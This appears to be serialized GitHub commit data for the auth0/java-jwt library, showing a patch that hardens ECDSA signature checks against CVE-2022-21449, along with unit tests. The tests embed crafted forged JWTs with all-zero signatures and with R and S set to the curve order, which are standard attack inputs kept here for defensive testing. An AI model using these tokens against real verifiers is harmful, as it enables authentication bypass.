Q  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/3f939842f1d0c6c393b9fd6d2365fa2e45d986cc/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/3f939842f1d0c6c393b9fd6d2365fa2e45d986cc/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=3f939842f1d0c6c393b9fd6d2365fa2e45d986ccpatchX  @@ -19,8 +19,6 @@
  * from a given Header and Payload content.
  * <p>
  * This class is thread-safe.
- *
- * TODO Poovam - Should we claim thread safety since KeyProvider implementation can cause signing differ
  */
 @SuppressWarnings("WeakerAccess")
 public final class JWTCreator {u}(jP  (30a144a6b96d62db6ba9dfc908900a5ddfc8862dj%Q  ;lib/src/main/java/com/auth0/jwt/interfaces/KeyProvider.javaj'Q  modifiedjQ  Kj Q  K j)Q  Kj*Q  https://github.com/auth0/java-jwt/blob/3f939842f1d0c6c393b9fd6d2365fa2e45d986cc/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.javaj,Q  https://github.com/auth0/java-jwt/raw/3f939842f1d0c6c393b9fd6d2365fa2e45d986cc/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.javaj.Q  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.java?ref=3f939842f1d0c6c393b9fd6d2365fa2e45d986ccj0Q  X!  @@ -5,6 +5,7 @@
 
 /**
  * Generic Public/Private Key provider.
+ * While implementing, ensure the Private Key and Private Key ID doesn't change in between signing a token.
  *
  * @param <U> the class that represents the Public Key
  * @param <R> the class that represents the Private Keyueu(05b54499be0cc06478467d66c801d9bc3da3fecc}(sha(05b54499be0cc06478467d66c801d9bc3da3feccnode_idEC_kwDOAQtL0doAKDA1YjU0NDk5YmUwY2MwNjQ3ODQ2N2Q2NmM4MDFkOWJjM2RhM2ZlY2Mcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-05-03T13:46:47Zu	committer}(jDQ  
Poovamraj T TjFQ  poovamraj@gmail.comjHQ  2022-05-03T13:46:47Zumessage'Added protection against CVE-2022-21449tree}(j<Q  (d812889bc2a30fc4aa81ca0c51969be165af2e38url^https://api.github.com/repos/auth0/java-jwt/git/trees/d812889bc2a30fc4aa81ca0c51969be165af2e38ujTQ  `https://api.github.com/repos/auth0/java-jwt/git/commits/05b54499be0cc06478467d66c801d9bc3da3fecc
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujTQ  \https://api.github.com/repos/auth0/java-jwt/commits/05b54499be0cc06478467d66c801d9bc3da3fecchtml_urlQhttps://github.com/auth0/java-jwt/commit/05b54499be0cc06478467d66c801d9bc3da3fecccomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/05b54499be0cc06478467d66c801d9bc3da3fecc/commentsjBQ  }(login	poovamrajidJ j>Q  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jTQ  &https://api.github.com/users/poovamrajj`Q  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujJQ  }(jeQ  	poovamrajjgQ  J j>Q  MDQ6VXNlcjE1OTEwNDI1jiQ  4https://avatars.githubusercontent.com/u/15910425?v=4jkQ  h3jTQ  &https://api.github.com/users/poovamrajj`Q  https://github.com/poovamrajjnQ  0https://api.github.com/users/poovamraj/followersjpQ  =https://api.github.com/users/poovamraj/following{/other_user}jrQ  6https://api.github.com/users/poovamraj/gists{/gist_id}jtQ  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jvQ  4https://api.github.com/users/poovamraj/subscriptionsjxQ  +https://api.github.com/users/poovamraj/orgsjzQ  ,https://api.github.com/users/poovamraj/reposj|Q  7https://api.github.com/users/poovamraj/events{/privacy}j~Q  6https://api.github.com/users/poovamraj/received_eventsjQ  UserjQ  uparents]}(j<Q  (dd40410c0f749743de2447f7f6e45c99f0902679jTQ  \https://api.github.com/repos/auth0/java-jwt/commits/dd40410c0f749743de2447f7f6e45c99f0902679j`Q  Qhttps://github.com/auth0/java-jwt/commit/dd40410c0f749743de2447f7f6e45c99f0902679uastats}(totalK	additionsK݌	deletionsKufiles](}(j<Q  (f96fd576d502e596f638dde07c34029c2d6ae500filename>lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javastatusmodifiedjQ  KBjQ  KchangesKEblob_urlhttps://github.com/auth0/java-jwt/blob/05b54499be0cc06478467d66c801d9bc3da3fecc/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/05b54499be0cc06478467d66c801d9bc3da3fecc/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=05b54499be0cc06478467d66c801d9bc3da3feccpatchX  @@ -5,6 +5,7 @@
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 
+import java.math.BigInteger;
 import java.security.InvalidKeyException;
 import java.security.NoSuchAlgorithmException;
 import java.security.SignatureException;
@@ -46,6 +47,7 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
             if (publicKey == null) {
                 throw new IllegalStateException("The given Public Key is null.");
             }
+            validateSignatureStructure(signatureBytes, publicKey);
             boolean valid = crypto.verifySignatureFor(getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), JOSEToDER(signatureBytes));
 
             if (!valid) {
@@ -140,13 +142,42 @@ byte[] DERToJOSE(byte[] derSignature) throws SignatureException {
         return joseSignature;
     }
 
-    //Visible for testing
-    byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
+    /**
+     * Added check for extra protection against CVE-2022-21449.
+     * This method ensures the signature's structure is as expected.
+     *
+     * @param joseSignature is the signature from the JWT
+     * @param publicKey public key used to verify the JWT
+     * @throws SignatureException if the signature's structure is not as per expectation
+     */
+    // Visible for testing
+    void validateSignatureStructure(byte[] joseSignature, ECPublicKey publicKey) throws SignatureException {
+        // check signature length, moved this check from JOSEToDER method
         if (joseSignature.length != ecNumberSize * 2) {
             throw new SignatureException("Invalid JOSE signature format.");
         }
 
-        // Retrieve R and S number's length and padding.
+        if (isAllZeros(joseSignature)) {
+            throw new SignatureException("Invalid Signature: All Zeros.");
+        }
+
+        // get R
+        byte[] rBytes = new byte[ecNumberSize];
+        System.arraycopy(joseSignature, 0, rBytes, 0, ecNumberSize);
+        BigInteger r = new BigInteger(1, rBytes);
+        if(isAllZeros(rBytes)) {
+            throw new SignatureException("Invalid Signature: All Zeros for R value.");
+        }
+
+        // get S
+        byte[] sBytes = new byte[ecNumberSize];
+        System.arraycopy(joseSignature, ecNumberSize, sBytes, 0, ecNumberSize);
+        BigInteger s = new BigInteger(1, sBytes);
+        if(isAllZeros(sBytes)) {
+            throw new SignatureException("Invalid Signature: All Zeros for S value.");
+        }
+
+        //moved this check from JOSEToDER method
         int rPadding = countPadding(joseSignature, 0, ecNumberSize);
         int sPadding = countPadding(joseSignature, ecNumberSize, joseSignature.length);
         int rLength = ecNumberSize - rPadding;
@@ -157,6 +188,29 @@ byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
             throw new SignatureException("Invalid JOSE signature format.");
         }
 
+        // check for 0 r or s here since we have the values
+        if (BigInteger.ZERO.equals(r) || BigInteger.ZERO.equals(s)) {
+            throw new SignatureException("R or S value cannot be zero.");
+        }
+
+        BigInteger order = publicKey.getParams().getOrder();
+
+        // R and S must be less than N
+        if (order.compareTo(r) < 1 || order.compareTo(s) < 1) {
+            throw new SignatureException("The difference between R or S value and order should be greater than one.");
+        }
+    }
+
+    //Visible for testing
+    byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
+        // Retrieve R and S number's length and padding.
+        int rPadding = countPadding(joseSignature, 0, ecNumberSize);
+        int sPadding = countPadding(joseSignature, ecNumberSize, joseSignature.length);
+        int rLength = ecNumberSize - rPadding;
+        int sLength = ecNumberSize - sPadding;
+
+        int length = 2 + rLength + 2 + sLength;
+
         final byte[] derSignature;
         int offset;
         if (length > 0x7f) {
@@ -205,6 +259,15 @@ byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
         return derSignature;
     }
 
+    private boolean isAllZeros(byte[] bytes) {
+        for (byte b : bytes) {
+            if (b != 0) {
+                return false;
+            }
+        }
+        return true;
+    }
+
     private int countPadding(byte[] bytes, int fromIndex, int toIndex) {
         int padding = 0;
         while (fromIndex + padding < toIndex && bytes[fromIndex + padding] == 0) {u}(j<Q  (aee8238c3937c0ace05db2f79fc26b4ca06bfc8bjQ  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javajQ  modifiedjQ  KjQ  KjQ  KjQ  https://github.com/auth0/java-jwt/blob/05b54499be0cc06478467d66c801d9bc3da3fecc/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javajQ  https://github.com/auth0/java-jwt/raw/05b54499be0cc06478467d66c801d9bc3da3fecc/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javajQ  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=05b54499be0cc06478467d66c801d9bc3da3feccjQ  XA(  @@ -4,6 +4,7 @@
 import com.auth0.jwt.exceptions.SignatureGenerationException;
 import com.auth0.jwt.exceptions.SignatureVerificationException;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
+import com.auth0.jwt.interfaces.JWTVerifier;
 import org.hamcrest.Matchers;
 import org.hamcrest.collection.IsIn;
 import org.junit.Assert;
@@ -12,11 +13,13 @@
 import org.junit.rules.ExpectedException;
 
 import java.io.ByteArrayOutputStream;
+import java.math.BigInteger;
 import java.nio.charset.StandardCharsets;
 import java.security.*;
 import java.security.interfaces.ECKey;
 import java.security.interfaces.ECPrivateKey;
 import java.security.interfaces.ECPublicKey;
+import java.security.spec.ECParameterSpec;
 import java.util.Arrays;
 import java.util.Base64;
 
@@ -574,6 +577,10 @@ public void shouldThrowOnVerifyWhenSignatureAlgorithmDoesNotExists() throws Exce
                 .thenThrow(NoSuchAlgorithmException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -592,6 +599,10 @@ public void shouldThrowOnVerifyWhenThePublicKeyIsInvalid() throws Exception {
                 .thenThrow(InvalidKeyException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -610,6 +621,10 @@ public void shouldThrowOnVerifyWhenTheSignatureIsNotPrepared() throws Exception
                 .thenThrow(SignatureException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -939,12 +954,13 @@ public void shouldThrowOnDERSignatureConversionIfSNumberDoesNotHaveExpectedLengt
 
     @Test
     public void shouldThrowOnJOSESignatureConversionIfDoesNotHaveExpectedLength() throws Exception {
-        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC"), (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
         byte[] joseSignature = new byte[32 * 2 - 1];
         exception.expect(SignatureException.class);
         exception.expectMessage("Invalid JOSE signature format.");
 
-        algorithm256.JOSEToDER(joseSignature);
+        algorithm256.validateSignatureStructure(joseSignature, publicKey);
     }
 
     @Test
@@ -1309,4 +1325,123 @@ public void shouldFailOnECDSA256SigningWithDeprecatedMethodWhenProvidedPrivateKe
         algorithm.sign(new byte[0]);
     }
 
+    @Test
+    public void invalidECDSA256SignatureShouldFailTokenVerification() throws Exception {
+        exception.expect(SignatureVerificationException.class);
+        exception.expectCause(isA(SignatureException.class));
+
+        String jwtWithInvalidSig = "eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0._____wAAAAD__________7zm-q2nF56E87nKwvxjJVH_____AAAAAP__________vOb6racXnoTzucrC_GMlUQ";
+
+        ECKey key256 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECKey key384 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_384, "EC");
+        ECKey key512 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_512, "EC");
+        ECKey key256k = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
+        JWTVerifier verifier256 = JWT.require(Algorithm.ECDSA256(key256)).build();
+        JWTVerifier verifier384 = JWT.require(Algorithm.ECDSA256(key384)).build();
+        JWTVerifier verifier512 = JWT.require(Algorithm.ECDSA256(key512)).build();
+        JWTVerifier verifier256k = JWT.require(Algorithm.ECDSA256(key256k)).build();
+        verifier256.verify(jwtWithInvalidSig);
+        verifier384.verify(jwtWithInvalidSig);
+        verifier512.verify(jwtWithInvalidSig);
+        verifier256k.verify(jwtWithInvalidSig);
+    }
+
+    @Test
+    public void emptyECDSA256SignatureShouldFailTokenVerification() throws Exception {
+        exception.expect(SignatureVerificationException.class);
+        exception.expectCause(isA(SignatureException.class));
+
+        String jwtWithInvalidSig = "eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
+
+        ECKey key256 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECKey key384 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_384, "EC");
+        ECKey key512 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_512, "EC");
+        ECKey key256k = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
+        JWTVerifier verifier256 = JWT.require(Algorithm.ECDSA256(key256)).build();
+        JWTVerifier verifier384 = JWT.require(Algorithm.ECDSA256(key384)).build();
+        JWTVerifier verifier512 = JWT.require(Algorithm.ECDSA256(key512)).build();
+        JWTVerifier verifier256k = JWT.require(Algorithm.ECDSA256(key256k)).build();
+        verifier256.verify(jwtWithInvalidSig);
+        verifier384.verify(jwtWithInvalidSig);
+        verifier512.verify(jwtWithInvalidSig);
+        verifier256k.verify(jwtWithInvalidSig);
+    }
+
+    @Test
+    public void signatureWithAllZerosShouldFail() throws Exception {
+        exception.expect(SignatureException.class);
+
+        ECPublicKey pubKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(pubKey, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
+        byte[] signatureBytes = new byte[64];
+        algorithm256.validateSignatureStructure(signatureBytes, pubKey);
+    }
+
+    @Test
+    public void signatureWithRZeroShouldFail() throws Exception {
+        exception.expect(SignatureException.class);
+
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
+
+        String signedJwt = JWT.create().sign(Algorithm.ECDSA256(publicKey, privateKey));
+
+        String[] chunks = signedJwt.split("\\.");
+        byte[] signature = Base64.getUrlDecoder().decode(chunks[2]);
+
+        byte[] sigWithBlankR = new byte[signature.length];
+        for (int i = 0; i < signature.length; i++) {
+            if (i < signature.length / 2) {
+                sigWithBlankR[i] = 0;
+            } else {
+                sigWithBlankR[i] = signature[i];
+            }
+        }
+
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, privateKey);
+        algorithm256.validateSignatureStructure(sigWithBlankR, publicKey);
+    }
+
+    @Test
+    public void signatureWithSZeroShouldFail() throws Exception {
+        exception.expect(SignatureException.class);
+
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
+
+        String signedJwt = JWT.create().sign(Algorithm.ECDSA256(publicKey, privateKey));
+
+        String[] chunks = signedJwt.split("\\.");
+        byte[] signature = Base64.getUrlDecoder().decode(chunks[2]);
+
+        byte[] sigWithBlankS = new byte[signature.length];
+        for (int i = 0; i < signature.length; i++) {
+            if (i < signature.length / 2) {
+                sigWithBlankS[i] = signature[i];
+            } else {
+                sigWithBlankS[i] = 0;
+            }
+        }
+
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, privateKey);
+        algorithm256.validateSignatureStructure(sigWithBlankS, publicKey);
+    }
+
+    @Test
+    public void signatureWithRSValueNotLessThanOrderShouldFail() throws Exception {
+        exception.expect(SignatureException.class);
+
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
+
+        String signedJwt = JWT.create().sign(Algorithm.ECDSA256(publicKey, privateKey));
+        String jwtWithInvalidSig = signedJwt.substring(0, signedJwt.lastIndexOf('.') + 1) + "_____wAAAAD__________7zm-q2nF56E87nKwvxjJVH_____AAAAAP__________vOb6racXnoTzucrC_GMlUQ";
+
+        String[] chunks = jwtWithInvalidSig.split("\\.");
+        byte[] invalidSignature = Base64.getUrlDecoder().decode(chunks[2]);
+
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, privateKey);
+        algorithm256.validateSignatureStructure(invalidSignature, publicKey);
+    }
 }
\ No newline at end of fileu,      }(j<Q  (78e0063d9c50b2db251b20435d43d52ff753be61jQ  Nlib/src/test/java/com/auth0/jwt/algorithms/ECDSABouncyCastleProviderTests.javajQ  modifiedjQ  KjQ  KjQ  KjQ  https://github.com/auth0/java-jwt/blob/05b54499be0cc06478467d66c801d9bc3da3fecc/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javajQ  https://github.com/auth0/java-jwt/raw/05b54499be0cc06478467d66c801d9bc3da3fecc/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javajQ  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.java?ref=05b54499be0cc06478467d66c801d9bc3da3feccjQ  X
  @@ -11,11 +11,14 @@
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
 
+import java.math.BigInteger;
 import java.nio.charset.StandardCharsets;
 import java.security.*;
 import java.security.interfaces.ECKey;
 import java.security.interfaces.ECPrivateKey;
 import java.security.interfaces.ECPublicKey;
+import java.security.spec.ECParameterSpec;
+import java.util.Arrays;
 import java.util.Base64;
 
 import static com.auth0.jwt.PemUtils.readPrivateKeyFromFile;
@@ -591,6 +594,10 @@ public void shouldThrowOnVerifyWhenSignatureAlgorithmDoesNotExists() throws Exce
                 .thenThrow(NoSuchAlgorithmException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -609,6 +616,10 @@ public void shouldThrowOnVerifyWhenThePublicKeyIsInvalid() throws Exception {
                 .thenThrow(InvalidKeyException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -627,6 +638,10 @@ public void shouldThrowOnVerifyWhenTheSignatureIsNotPrepared() throws Exception
                 .thenThrow(SignatureException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -935,12 +950,13 @@ public void shouldThrowOnDERSignatureConversionIfSNumberDoesNotHaveExpectedLengt
 
     @Test
     public void shouldThrowOnJOSESignatureConversionIfDoesNotHaveExpectedLength() throws Exception {
-        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC"), (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
         byte[] joseSignature = new byte[32 * 2 - 1];
         exception.expect(SignatureException.class);
         exception.expectMessage("Invalid JOSE signature format.");
 
-        algorithm256.JOSEToDER(joseSignature);
+        algorithm256.validateSignatureStructure(joseSignature, publicKey);
     }
 
     @Testueu(2e93c135482182b1cecd2517c910310d53bc2e82}(sha(2e93c135482182b1cecd2517c910310d53bc2e82node_idEC_kwDOAQtL0doAKDJlOTNjMTM1NDgyMTgyYjFjZWNkMjUxN2M5MTAzMTBkNTNiYzJlODIcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-02T20:45:03Zu	committer}(jQ  James AndersonjQ  jim.anderson@auth0.comjQ  2022-03-02T20:45:03Zumessage
cleanup teststree}(jQ  (e848d9d518b7788b714720a37d6d7d696056e68burl^https://api.github.com/repos/auth0/java-jwt/git/trees/e848d9d518b7788b714720a37d6d7d696056e68bujQ  `https://api.github.com/repos/auth0/java-jwt/git/commits/2e93c135482182b1cecd2517c910310d53bc2e82
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujQ  \https://api.github.com/repos/auth0/java-jwt/commits/2e93c135482182b1cecd2517c910310d53bc2e82html_urlQhttps://github.com/auth0/java-jwt/commit/2e93c135482182b1cecd2517c910310d53bc2e82comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/2e93c135482182b1cecd2517c910310d53bc2e82/commentsjQ  }(login
jimmyjamesidJ7 jQ  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jQ  'https://api.github.com/users/jimmyjamesjQ  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujQ  }(jQ  
jimmyjamesjQ  J7 jQ  MDQ6VXNlcjI3NjIyNQ==jQ  2https://avatars.githubusercontent.com/u/276225?v=4jQ  h3jQ  'https://api.github.com/users/jimmyjamesjQ  https://github.com/jimmyjamesjQ  1https://api.github.com/users/jimmyjames/followersjQ  >https://api.github.com/users/jimmyjames/following{/other_user}jQ  7https://api.github.com/users/jimmyjames/gists{/gist_id}jQ  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jQ  5https://api.github.com/users/jimmyjames/subscriptionsjQ  ,https://api.github.com/users/jimmyjames/orgsjQ  -https://api.github.com/users/jimmyjames/reposjR  8https://api.github.com/users/jimmyjames/events{/privacy}jR  7https://api.github.com/users/jimmyjames/received_eventsjR  UserjR  uparents]}(jQ  (30985ef3eec72148984b7b4082b01959c6545f89jQ  \https://api.github.com/repos/auth0/java-jwt/commits/30985ef3eec72148984b7b4082b01959c6545f89jQ  Qhttps://github.com/auth0/java-jwt/commit/30985ef3eec72148984b7b4082b01959c6545f89uastats}(totalKa	additionsK/	deletionsK2ufiles]}(jQ  (f6b4d059412a64f0bc6c07cde0799853a9adb6c9filename3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javastatusmodifiedj!R  K/j"R  K2changesKablob_urlhttps://github.com/auth0/java-jwt/blob/2e93c135482182b1cecd2517c910310d53bc2e82/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/2e93c135482182b1cecd2517c910310d53bc2e82/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=2e93c135482182b1cecd2517c910310d53bc2e82patchXB  @@ -2,7 +2,6 @@
 
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.impl.PublicClaims;
-import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 import com.fasterxml.jackson.databind.ObjectMapper;
@@ -14,8 +13,6 @@
